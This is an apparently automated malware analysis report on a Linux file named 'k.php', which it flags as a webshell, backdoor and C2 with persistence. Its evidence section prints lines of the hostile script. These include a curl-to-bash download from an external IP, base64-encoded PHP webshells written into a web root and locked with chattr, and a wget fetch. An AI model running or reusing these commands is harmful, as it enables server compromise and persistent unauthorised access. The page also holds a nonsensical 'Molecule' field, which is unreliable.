Hostile ^100% linux Download

k.php

Webshell, backdoor, C2, persistence

Creates UID/GID-zero login accountCron with base64 decode

SHA-2569810de66c80238b02c46866e55c59e28d5155e7b218dbe2d91a0080d61ecb537

URLhttps://mb-api.abuse.ch/api/v1/

MaleculeO₆(P₂As₂CErDyLa)H₅(Cm₉DbF₁₀Os₅Po₄)Md

Evidence

Encoded content decoded: base64 lines 1–3

1#!/bin/bash
2curl http://160.119.69.4/x -ks | bash
3echo -n 'PD9waHAgLyogdHJhY2VfOTk3MGNjY2M1Y2FkNThkYmQ4NGFmNzNjOWQ1ZThlMjMgKi8gaWYoZmFsc2UpeyAkTFhDWE5SQWdHbEhTeFNkZWEgPSAnZGVhZGNvZGVfYW50aV9hdic7IH0gJEFOdVBwREdIRUlBeHRsdVdpaU8gPSBiYXNlNjRfZGVjb2RlKCdabkptWm5aaVlWOW1aMjVsWnlncE93cDJjeUFvZG1abWNtY29KRjlGVWtSSVVrWkhXeWQ2Y1RVblhTa2dKaVlnZW5FMUtDUmZSVkpFU0ZKR1Ixc25lbkUxSjEwcElEMDlJQ2MzTUhOeU1HNXdOM016TTI4eWNETTJibk55TVRneU9EaHdObTg1TVRBd2N5Y3BJSHNLSUNBZ0lDUmZSbEpHUmxaQ1FWc25lV0ppZUhZblhTQTlJQ2Q1WW5SMGNuRW5Pd3A5Q25aeklDZ2hkbVptY21jb0pGOUdVa1pHVmtKQld5ZDVZbUo0ZGlkZEtTa2dld29nSUNBZ2NuQjFZaUFuUEhOaVpYb2dibkJuZG1KaFBTSWlJSHB5WjNWaWNUMGlZMkptWnlJK0p6c0tJQ0FnSUhKd2RXSWdKengyWVdOb1p5Qm5iR055UFNKbmNtdG5J …

PHP decodes a large Base64 literal line 3

3:7946… KCRBTnVQcERHSEVJQXh0bHVXaWlPKTsgZXZhbCgkcHVVWG5yUXJ3UVpXRHRNU1hzekIpOyA/Pg==' | base64 -d > /var/www/ht …

Encoded URL pinned to external IPv4 lines 27–31

27:267… Zy5waHAgW0xd' | base64 -d > /var/www/html/admin/views/.htaccess
28chmod +x /var/www/html/admin/views/ajax.php 2>/dev/null
29chattr +i /var/www/html/admin/views/ajax.php 2>/dev/null || chattr +a /var/www/html/admin/views/ajax.php 2>/dev/null
30chattr +i /var/www/html/h.php 2>/dev/null || chattr +a /var/www/html/h.php 2>/dev/null
31echo -n 'ZWNobyAtbiAnUEQ5d2FIQUtaWEp5YjNKZmNtVndiM0owYVc1bktEQXBPd29rWmowaUwzWmhjaTkzZDNjdmFIUnRiQzloWkcxcGJpOXRiMlIxYkdWekwyWnlaV1Z3WW5oZmFHRXZiR2xqWlc1elpTNXdhSEFpT3dwemVYTjBaVzBvSnlWekp5azdDbk41YzNSbGJTZ2lZWGRySUMxR09pQW5LQ1F6SUQwOUlEQWdKaVlnSkRFZ0lUMGdYQ0p5YjI5MFhDSXBJSHR3Y21sdWRDQWtNWDBuSUM5bGRHTXZjR0Z6YzNka0lId2dlR0Z5WjNNZ0xXNHhJQzFKSUh0OUlIVnpaWEprWld3Z0xYSm1JSHQ5SWlrN0NuTjVjM1JsYlNnaVptOXlJSFZ6WlhJZ2FXNGdKQ2hzY3lBdmFHOXRaU2s3SUdSdklIVnpaWEprWld3Z0xYSm1JRndpSkhWelpYSmNJanNnWkc5dVpTSXBPd3B6ZVhOMFpXMG9JbU5rSUM5MGJYQWdNajR2WkdWMkwyNTFiR3c3SUdGM2F5QXRSam9nSnlna015QTlQU0F3SUh4OElDUXpJRDQ5SURFd01EQXBJQ1ltSUNReElDRTlJQ0p5YjI5MElpQjdjM2x6ZEdW …

String literal sets curl/wget output file line 31

31:16482… bHMgLWxzIC9ob21lCmVjaG8gJ3dnZXQgaHR0cDovLzQ1Ljk1LjE0Ny4xNzgvay5waHAgLU8gL3Zhci9saWIvYXN0ZXJpc2svYmluL2Rld …